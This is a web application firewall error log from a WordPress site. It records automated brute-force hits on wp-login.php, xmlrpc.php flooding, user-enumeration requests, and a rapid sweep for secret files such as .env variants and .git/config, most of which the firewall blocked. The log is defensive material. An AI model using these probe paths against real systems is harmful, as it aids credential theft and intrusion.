[Wed May 20 07:37:52.381726 2026] [:error] [pid 59244:tid 59272] [client 51.104.44.27:37088] [client 51.104.44.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.104.44.27, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agz0ULxU0SdQQE7pLs3JeQAAABM"]
[Wed May 20 07:37:53.882215 2026] [:error] [pid 59244:tid 59264] [client 51.104.44.27:37088] [client 51.104.44.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.104.44.27, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agz0UbxU0SdQQE7pLs3JfAAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 08:08:23.740951 2026] [:error] [pid 41279:tid 41358] [client 49.51.243.156:49732] [client 49.51.243.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agz7d7EFyfaehGZbt4wyNgAAANY"]
[Wed May 20 08:56:56.768541 2026] [:error] [pid 41364:tid 41389] [client 109.165.226.93:55031] [client 109.165.226.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.165.226.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0G2BKTmyvxtNXrN-hA7wAAAJc"]
[Wed May 20 08:57:06.668671 2026] [:error] [pid 44059:tid 44068] [client 109.165.226.93:55579] [client 109.165.226.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.165.226.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0G4hfFs-oSOOcyjyxY4wAAAQc"]
[Wed May 20 08:57:17.089475 2026] [:error] [pid 41279:tid 41338] [client 109.165.226.93:55943] [client 109.165.226.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.165.226.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0G7bEFyfaehGZbt4w9wgAAAMI"]
[Wed May 20 08:57:27.519796 2026] [:error] [pid 44059:tid 44084] [client 109.165.226.93:62028] [client 109.165.226.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.165.226.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0G9xfFs-oSOOcyjyxZAAAAARc"]
[Wed May 20 08:57:38.030796 2026] [:error] [pid 41364:tid 41373] [client 109.165.226.93:56627] [client 109.165.226.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.165.226.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0HAhKTmyvxtNXrN-hBHQAAAIc"]
[Wed May 20 09:44:13.821204 2026] [:error] [pid 41278:tid 41315] [client 168.187.5.230:40358] [client 168.187.5.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.187.5.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag0R7fWiNKASEfiGdwZ0BAAAAEY"]
[Wed May 20 09:44:15.895589 2026] [:error] [pid 41278:tid 41312] [client 168.187.5.230:40358] [client 168.187.5.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.187.5.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag0R7_WiNKASEfiGdwZ0BQAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 11:06:53.978508 2026] [:error] [pid 41364:tid 41378] [client 94.136.170.101:54236] [client 94.136.170.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.170.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag0lTRKTmyvxtNXrN-hl8QAAAIw"]
[Wed May 20 11:26:35.991582 2026] [:error] [pid 44059:tid 44064] [client 108.179.193.95:57918] [client 108.179.193.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.193.95, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag0p6xfFs-oSOOcyjyyTewAAAQM"]
[Wed May 20 11:39:43.380810 2026] [:error] [pid 41364:tid 41388] [client 46.62.173.211:41834] [client 46.62.173.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.173.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag0s_xKTmyvxtNXrN-htqAAAAJY"]
[Wed May 20 12:05:06.267758 2026] [:error] [pid 41364:tid 41384] [client 43.130.16.140:45820] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag0y8hKTmyvxtNXrN-h3CAAAAJI"]
[Wed May 20 12:12:01.663735 2026] [:error] [pid 41364:tid 41377] [client 82.165.73.78:57582] [client 82.165.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.73.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag00kRKTmyvxtNXrN-h5OgAAAIs"]
[Wed May 20 12:12:02.832753 2026] [:error] [pid 41364:tid 41368] [client 82.165.73.78:57582] [client 82.165.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.73.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag00khKTmyvxtNXrN-h5QgAAAII"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 12:58:37.756253 2026] [:error] [pid 7664:tid 7667] [client 65.181.13.82:64355] [client 65.181.13.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.181.13.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0_fXZ8s7o3eiqT2kvBPwAAAUA"]
[Wed May 20 12:58:48.254946 2026] [:error] [pid 44059:tid 44084] [client 65.181.13.82:33233] [client 65.181.13.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.181.13.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0_iBfFs-oSOOcyjyyyWQAAARc"]
[Wed May 20 12:58:58.848070 2026] [:error] [pid 41279:tid 41347] [client 65.181.13.82:19461] [client 65.181.13.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.181.13.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0_krEFyfaehGZbt4xqMAAAAMs"]
[Wed May 20 12:59:09.507872 2026] [:error] [pid 7731:tid 7748] [client 65.181.13.82:43153] [client 65.181.13.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.181.13.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0_nX9qQlHXbkl2nEuIlQAAAY8"]
[Wed May 20 12:59:20.201124 2026] [:error] [pid 44059:tid 44085] [client 65.181.13.82:18243] [client 65.181.13.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.181.13.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag0_qBfFs-oSOOcyjyyymgAAARg"]
[Wed May 20 13:02:02.198160 2026] [:error] [pid 7664:tid 7682] [client 5.161.84.189:59256] [client 5.161.84.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.84.189, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1ASnZ8s7o3eiqT2kvB0wAAAU8"]
[Wed May 20 13:20:44.300013 2026] [:error] [pid 41364:tid 41372] [client 46.105.43.148:43716] [client 46.105.43.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.43.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1ErBKTmyvxtNXrN-iHfAAAAIY"]
[Wed May 20 13:46:17.940455 2026] [:error] [pid 41279:tid 41337] [client 5.255.125.29:33194] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "ag1KqbEFyfaehGZbt4xucQAAAME"]
[Wed May 20 13:46:17.942668 2026] [:error] [pid 7664:tid 7673] [client 5.255.125.29:33162] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "ag1KqXZ8s7o3eiqT2kvH3wAAAUY"]
[Wed May 20 13:46:17.942759 2026] [:error] [pid 41277:tid 41288] [client 5.255.125.29:33222] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "ag1KqbTTCltJmboB5ufjzwAAAAY"]
[Wed May 20 13:46:17.942779 2026] [:error] [pid 7664:tid 7684] [client 5.255.125.29:33082] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ag1KqXZ8s7o3eiqT2kvH3gAAAVE"]
[Wed May 20 13:46:17.942801 2026] [:error] [pid 41278:tid 41311] [client 5.255.125.29:33166] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "ag1KqfWiNKASEfiGdwaS8wAAAEI"]
[Wed May 20 13:46:17.942887 2026] [:error] [pid 41277:tid 41297] [client 5.255.125.29:33154] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ag1KqbTTCltJmboB5ufj0AAAAA8"]
[Wed May 20 13:46:17.943510 2026] [:error] [pid 41278:tid 41310] [client 5.255.125.29:33422] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "ag1KqfWiNKASEfiGdwaS9QAAAEE"]
[Wed May 20 13:46:17.943745 2026] [:error] [pid 41364:tid 41382] [client 5.255.125.29:33218] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "ag1KqRKTmyvxtNXrN-iLcAAAAJA"]
[Wed May 20 13:46:17.968312 2026] [:error] [pid 7731:tid 7750] [client 5.255.125.29:33264] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "ag1KqX9qQlHXbkl2nEuUNwAAAZE"]
[Wed May 20 13:46:17.968952 2026] [:error] [pid 41278:tid 41317] [client 5.255.125.29:33278] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "ag1KqfWiNKASEfiGdwaS9wAAAEg"]
[Wed May 20 13:46:17.969193 2026] [:error] [pid 41278:tid 41314] [client 5.255.125.29:33182] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "ag1KqfWiNKASEfiGdwaS-AAAAEU"]
[Wed May 20 13:46:17.969947 2026] [:error] [pid 7731:tid 7751] [client 5.255.125.29:33282] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "ag1KqX9qQlHXbkl2nEuUOQAAAZI"]
[Wed May 20 13:46:17.970441 2026] [:error] [pid 44059:tid 44065] [client 5.255.125.29:33174] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "ag1KqRfFs-oSOOcyjyzBqgAAAQQ"]
[Wed May 20 13:46:17.970514 2026] [:error] [pid 44059:tid 44075] [client 5.255.125.29:33232] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "ag1KqRfFs-oSOOcyjyzBqwAAAQ4"]
[Wed May 20 13:46:17.970855 2026] [:error] [pid 41277:tid 41284] [client 5.255.125.29:33204] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "ag1KqbTTCltJmboB5ufj0QAAAAI"]
[Wed May 20 13:46:18.173073 2026] [:error] [pid 44059:tid 44080] [client 5.255.125.29:33116] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "ag1KqhfFs-oSOOcyjyzBrAAAARM"]
[Wed May 20 13:46:18.176097 2026] [:error] [pid 41278:tid 41309] [client 5.255.125.29:33096] [client 5.255.125.29] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/storage/logs/laravel.log"] [unique_id "ag1KqvWiNKASEfiGdwaS-gAAAEA"]
[Wed May 20 14:16:52.643304 2026] [:error] [pid 44059:tid 44062] [client 18.61.192.253:43974] [client 18.61.192.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.61.192.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1R1BfFs-oSOOcyjyzK0QAAAQE"]
[Wed May 20 14:31:22.016745 2026] [:error] [pid 7731:tid 7742] [client 162.241.2.250:41406] [client 162.241.2.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1VOn9qQlHXbkl2nEudPQAAAYk"]
[Wed May 20 14:34:00.004172 2026] [:error] [pid 44059:tid 44062] [client 34.46.57.55:54178] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag1V2BfFs-oSOOcyjyzQUAAAAQE"]
[Wed May 20 14:34:00.388389 2026] [:error] [pid 7731:tid 7753] [client 34.46.57.55:65070] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag1V2H9qQlHXbkl2nEuecgAAAZQ"]
[Wed May 20 14:34:00.776350 2026] [:error] [pid 41364:tid 41377] [client 34.46.57.55:58034] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag1V2BKTmyvxtNXrN-iUrAAAAIs"]
[Wed May 20 14:37:05.859905 2026] [:error] [pid 44059:tid 44063] [client 35.202.82.251:65344] [client 35.202.82.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "ag1WkRfFs-oSOOcyjyzSMgAAAQI"]
[Wed May 20 14:37:07.166415 2026] [:error] [pid 44059:tid 44078] [client 35.202.82.251:65344] [client 35.202.82.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.82.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1WkxfFs-oSOOcyjyzSNAAAARE"]
[Wed May 20 14:37:08.670327 2026] [:error] [pid 41364:tid 41367] [client 35.202.82.251:59620] [client 35.202.82.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.82.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1WlBKTmyvxtNXrN-iVfAAAAIE"]
[Wed May 20 14:37:10.059342 2026] [:error] [pid 44059:tid 44068] [client 35.202.82.251:61992] [client 35.202.82.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.82.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1WlhfFs-oSOOcyjyzSNgAAAQc"]
[Wed May 20 14:37:11.374809 2026] [:error] [pid 41279:tid 41351] [client 35.202.82.251:58975] [client 35.202.82.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.82.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1Wl7EFyfaehGZbt4xzngAAAM8"]
[Wed May 20 14:37:12.987840 2026] [:error] [pid 7664:tid 7689] [client 35.202.82.251:58741] [client 35.202.82.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.82.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1WmHZ8s7o3eiqT2kvPIAAAAVY"]
[Wed May 20 14:37:14.489451 2026] [:error] [pid 7664:tid 7684] [client 35.202.82.251:62760] [client 35.202.82.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.82.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1WmnZ8s7o3eiqT2kvPIQAAAVE"]
[Wed May 20 14:37:14.489574 2026] [:error] [pid 7664:tid 7684] [client 35.202.82.251:62760] [client 35.202.82.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.202.82.251, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1WmnZ8s7o3eiqT2kvPIQAAAVE"]
[Wed May 20 14:49:47.277838 2026] [:error] [pid 41278:tid 41319] [client 35.168.16.231:51214] [client 35.168.16.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.168.16.231, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1Zi_WiNKASEfiGdwaYrAAAAEo"]
[Wed May 20 14:50:08.918698 2026] [:error] [pid 44059:tid 44064] [client 35.168.16.231:38854] [client 35.168.16.231] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ag1ZoBfFs-oSOOcyjyzVzgAAAQM"]
